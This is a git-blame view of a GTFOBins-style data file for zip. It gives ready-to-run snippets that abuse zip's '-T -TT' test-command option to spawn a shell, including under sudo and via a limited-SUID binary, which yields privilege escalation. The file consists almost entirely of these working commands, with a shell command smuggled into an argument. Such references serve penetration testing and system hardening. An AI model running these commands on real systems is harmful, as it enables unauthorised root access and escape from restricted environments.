GTFOBins.github.io/_gtfobins/zip.md

19 lines
351 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
2018-10-05 19:55:38 +02:00
sudo:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
2018-10-05 19:55:38 +02:00
limited-suid:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
2018-08-17 17:16:09 +02:00
---